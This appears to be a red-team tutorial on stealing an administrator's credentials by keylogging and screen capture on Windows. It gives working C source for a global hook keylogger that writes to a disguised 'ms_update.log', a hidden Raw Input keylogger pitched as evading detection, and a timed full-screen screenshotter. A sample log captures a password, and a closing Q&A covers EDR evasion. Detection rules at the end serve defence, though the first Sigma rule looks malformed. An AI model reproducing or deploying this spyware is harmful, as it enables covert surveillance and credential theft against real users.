Keylogging and Screen Capture
Three keylogging architectures: global WH_KEYBOARD_LL hooks, Raw Input API polling, and VirtualKey state polling. GDI BitBlt full-screen capture and per-window targeted capture. Window-context tagging to log which application each keypress came from. Detection via Sysmon SetWindowsHookEx and GDI API monitoring.
Browser creds are exhausted — the user authenticates to their privileged admin console with Windows Hello (PIN, biometric) so no password is saved anywhere. Their Okta session cookies expire hourly and refresh via the browser. The only way to capture the credentials is to intercept them at input time: keylogging captures the PIN when they unlock their workstation, and timed screenshots capture the screen contents during their active session. This is also the technique for capturing credentials entered into thick clients, VPN clients, and any application that doesn't use the Windows credential manager.
Keylogging Methods Comparison
| Method | Admin Required | Works Cross-Process | Detection Risk | Misses |
|---|---|---|---|---|
| Global WH_KEYBOARD_LL hook | No | Yes (system-wide) | Medium — SetWindowsHookEx monitored | Nothing in same session |
| WH_KEYBOARD (local) hook | No | No (target process only) | Lower | Other applications |
| Raw Input API | No | Yes (background receipt) | Low — no hook registration | Console-only apps (unless RIDEV_INPUTSINK) |
| VirtualKey polling (GetAsyncKeyState) | No | Yes | Low — no hook API | Fast keypresses if polling interval too slow |
| Driver-level (keyboard filter driver) | Yes + code signing | Yes — all sessions | Very low at OS level | Nothing on the machine |
Global Keyboard Hook (WH_KEYBOARD_LL)
// Low-level keyboard hook: intercepts every key before it reaches any application.
// Must be installed from a message-pump thread (GetMessage loop).
// Hook DLL is NOT injected into target processes for LL hooks — callback runs in hooking process.
HHOOK g_hHook = NULL;
FILE* g_logFile = NULL;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
// Get name of focused window for context tagging
HWND hFgWnd = GetForegroundWindow();
char winTitle[256] = {0};
GetWindowTextA(hFgWnd, winTitle, sizeof(winTitle));
// Translate virtual key to character
BYTE keyState[256];
GetKeyboardState(keyState);
char buf[8] = {0};
int r = ToAscii(kb->vkCode, kb->scanCode, keyState, (WORD*)buf, 0);
if (g_logFile) {
if (r == 1) {
fprintf(g_logFile, "%c", buf[0]);
} else {
// Special keys: VK_RETURN, VK_BACK, VK_TAB, etc.
switch (kb->vkCode) {
case VK_RETURN: fprintf(g_logFile, " [ENTER]\n[%s]\n", winTitle); break;
case VK_BACK: fprintf(g_logFile, " [BS]"); break;
case VK_TAB: fprintf(g_logFile, " [TAB]"); break;
case VK_LSHIFT: case VK_RSHIFT: break; // suppress
default: fprintf(g_logFile, "[VK%02X]", kb->vkCode); break;
}
}
fflush(g_logFile);
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
DWORD WINAPI KeyloggerThread(void* arg) {
char logPath[MAX_PATH];
GetTempPathA(MAX_PATH, logPath);
strcat(logPath, "\\ms_update.log");
g_logFile = fopen(logPath, "a");
g_hHook = SetWindowsHookExW(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (!g_hHook) return 1;
// Message pump required — LL hooks need a thread with a message queue
MSG msg;
while (GetMessageW(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
UnhookWindowsHookEx(g_hHook);
fclose(g_logFile);
return 0;
}
Raw Input API Keylogger (Stealthier)
// RegisterRawInputDevices: no hook API call — avoids SetWindowsHookEx detection.
// Window must exist and be registered, but can be hidden (CreateWindowExW with WS_EX_TOOLWINDOW).
// RIDEV_INPUTSINK: receive input even when window is not focused.
HWND g_hWnd = NULL;
BOOL SetupRawInput(HWND hWnd) {
RAWINPUTDEVICE rid = {0};
rid.usUsagePage = 0x01; // HID_USAGE_PAGE_GENERIC
rid.usUsage = 0x06; // HID_USAGE_GENERIC_KEYBOARD
rid.dwFlags = RIDEV_INPUTSINK; // receive even when not focused
rid.hwndTarget = hWnd;
return RegisterRawInputDevices(&rid, 1, sizeof(rid));
}
LRESULT CALLBACK RawInputWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) {
if (msg == WM_INPUT) {
UINT size = 0;
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &size, sizeof(RAWINPUTHEADER));
RAWINPUT* raw = (RAWINPUT*)malloc(size);
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, raw, &size, sizeof(RAWINPUTHEADER));
if (raw->header.dwType == RIM_TYPEKEYBOARD) {
RAWKEYBOARD* kb = &raw->data.keyboard;
if (!(kb->Flags & RI_KEY_BREAK)) { // only key-down events
BYTE ks[256]; GetKeyboardState(ks);
char buf[8] = {0};
ToAscii(kb->VKey, kb->MakeCode, ks, (WORD*)buf, 0);
// Log buf[0] with timestamp + active window title
LogKeypress(buf[0], kb->VKey);
}
}
free(raw);
return 0;
}
return DefWindowProcW(hWnd, msg, wParam, lParam);
}
DWORD WINAPI RawInputThread(void* arg) {
WNDCLASSEXW wc = { .cbSize = sizeof(wc), .lpfnWndProc = RawInputWndProc,
.hInstance = GetModuleHandleW(NULL),
.lpszClassName = L"RawInputSink" };
RegisterClassExW(&wc);
g_hWnd = CreateWindowExW(WS_EX_TOOLWINDOW, L"RawInputSink", L"",
0, 0, 0, 0, 0, HWND_MESSAGE, NULL,
GetModuleHandleW(NULL), NULL);
SetupRawInput(g_hWnd);
MSG msg;
while (GetMessageW(&msg, NULL, 0, 0)) {
TranslateMessage(&msg); DispatchMessageW(&msg);
}
return 0;
}
GDI Screen Capture
// Full-screen screenshot via GDI BitBlt — captures current screen contents.
// Runs as current user, no admin needed.
// Saves to in-memory HBITMAP → convert to BMP → write to file or memory buffer.
BOOL CaptureScreen(const wchar_t* outPath) {
int screenW = GetSystemMetrics(SM_CXVIRTUALSCREEN);
int screenH = GetSystemMetrics(SM_CYVIRTUALSCREEN);
int screenX = GetSystemMetrics(SM_XVIRTUALSCREEN);
int screenY = GetSystemMetrics(SM_YVIRTUALSCREEN);
HDC hdcScreen = GetDC(NULL);
HDC hdcMem = CreateCompatibleDC(hdcScreen);
HBITMAP hBmp = CreateCompatibleBitmap(hdcScreen, screenW, screenH);
SelectObject(hdcMem, hBmp);
BitBlt(hdcMem, 0, 0, screenW, screenH,
hdcScreen, screenX, screenY, SRCCOPY | CAPTUREBLT);
// Save as BMP file
BITMAPINFOHEADER bih = {
.biSize = sizeof(BITMAPINFOHEADER), .biWidth = screenW,
.biHeight = -screenH, // negative = top-down
.biPlanes = 1, .biBitCount = 24, .biCompression = BI_RGB
};
DWORD rowSize = ((screenW * 3 + 3) & ~3);
DWORD pixelBytes = rowSize * screenH;
BITMAPFILEHEADER bfh = {
.bfType = 0x4D42, // 'BM'
.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + pixelBytes,
.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)
};
HANDLE hF = CreateFileW(outPath, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD w;
WriteFile(hF, &bfh, sizeof(bfh), &w, NULL);
WriteFile(hF, &bih, sizeof(bih), &w, NULL);
BYTE* pixels = (BYTE*)malloc(pixelBytes);
BITMAPINFO bi = {0}; bi.bmiHeader = bih;
GetDIBits(hdcMem, hBmp, 0, screenH, pixels, &bi, DIB_RGB_COLORS);
WriteFile(hF, pixels, pixelBytes, &w, NULL);
free(pixels);
CloseHandle(hF);
DeleteObject(hBmp);
DeleteDC(hdcMem);
ReleaseDC(NULL, hdcScreen);
return TRUE;
}
// Timed screenshot loop: capture every 30 seconds
DWORD WINAPI ScreenshotLoop(void* arg) {
DWORD count = 0;
while (1) {
wchar_t path[MAX_PATH];
swprintf(path, MAX_PATH, L"C:\\Temp\\scr_%04u.bmp", count++);
CaptureScreen(path);
Sleep(30000);
}
return 0;
}
Window Context Tagging for Keylog Parsing
// Tag keystrokes with the foreground window title + process name.
// Makes offline keylog analysis dramatically easier:
// shows which app each typed sequence came from.
BOOL GetForegroundContext(char* titleOut, char* procOut, DWORD bufLen) {
HWND hFg = GetForegroundWindow();
if (!hFg) return FALSE;
GetWindowTextA(hFg, titleOut, bufLen);
DWORD pid;
GetWindowThreadProcessId(hFg, &pid);
HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (hProc) {
QueryFullProcessImageNameA(hProc, 0, procOut, &bufLen);
CloseHandle(hProc);
}
return TRUE;
}
// Log format (written to file):
// ============================================================
// [2026-09-13 08:42:11] WINDOW: "Okta - Sign In — Mozilla Firefox"
// PROCESS: C:\Program Files\Mozilla Firefox\firefox.exe
// ============================================================
// admin@corp.com[TAB]SecretPass123[ENTER]
// ============================================================
// [2026-09-13 08:42:55] WINDOW: "AWS Management Console"
// PROCESS: C:\Program Files\Google\Chrome\Application\chrome.exe
// ============================================================
// (screenshot saved: scr_0047.bmp)
Detection Engineering
-- Sigma: SetWindowsHookEx (WH_KEYBOARD_LL) global hook registration
title: Global Keyboard Hook Installed (Potential Keylogger)
logsource:
product: windows
category: process_creation
detection:
-- Direct detection via API call monitoring (requires EDR API telemetry)
-- Behavioral: unexpected process registering a global hook
selection:
EventID: 10 # Sysmon ProcessAccess — hook monitoring via WH_KEYBOARD_LL
CallTrace|contains: 'user32.dll'
condition: selection
-- MDE KQL: process accessing keyboard hook APIs
DeviceEvents
| where ActionType == "SetWindowsHookExApiCall"
| where AdditionalFields has "WH_KEYBOARD_LL"
| where InitiatingProcessFileName !in~ (
"accessibility.exe", "magnify.exe",
"osk.exe", // on-screen keyboard
"narrator.exe" // screen reader
)
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, AccountName
-- MDE KQL: screenshot files created rapidly (timed screenshotter)
DeviceFileEvents
| where FileName endswith ".bmp" or FileName endswith ".png"
| where FolderPath !contains "AppData" // exclude browser cache
| summarize count=count(), fileNames=make_set(FileName, 10)
by bin(Timestamp, 5m), DeviceName, InitiatingProcessFileName
| where count > 5 // more than 5 screenshots in 5 minutes
| order by count desc
-- Sigma: suspicious keylog output file
title: Keylogger Output File Written to Temp
logsource:
product: windows
category: file_event
detection:
selection:
TargetFilename|startswith:
- 'C:\Windows\Temp\'
- 'C:\Users\'
TargetFilename|endswith:
- '.log'
- '.dat'
Image|endswith|any:
- '\rundll32.exe'
- '\regsvr32.exe'
- '\mshta.exe'
condition: selection
level: medium
Q&A
Is the Raw Input API method actually stealthier than SetWindowsHookEx, and will modern EDRs miss it?
The Raw Input API approach avoids the specific API call SetWindowsHookEx, which is a well-known indicator that many EDR products explicitly monitor. However, "stealthier" is relative: the process still needs to create a window and call RegisterRawInputDevices with RIDEV_INPUTSINK — both of which can be monitored. Modern EDRs like CrowdStrike Falcon and SentinelOne use behavioral detection rather than pure API call matching. They track process behaviors in aggregate: a process that (1) creates a hidden message-only window, (2) registers for raw input across all sessions, and (3) writes data to a file in a temp directory — the combination of behaviors raises the behavioral score even without the specific API name matching. The Raw Input method is more resistant to signature-based rules but not to behavioral/ML-based EDR. Its practical advantage is against: older SIEM rules that specifically look for SetWindowsHookEx events, environments with Sysmon but no EDR (Sysmon has no default raw-input rule), and environments where EDR telemetry is focused on process injection rather than input monitoring. For a red team assessment, testing which specific APIs the target EDR instruments is more useful than assuming either method evades detection.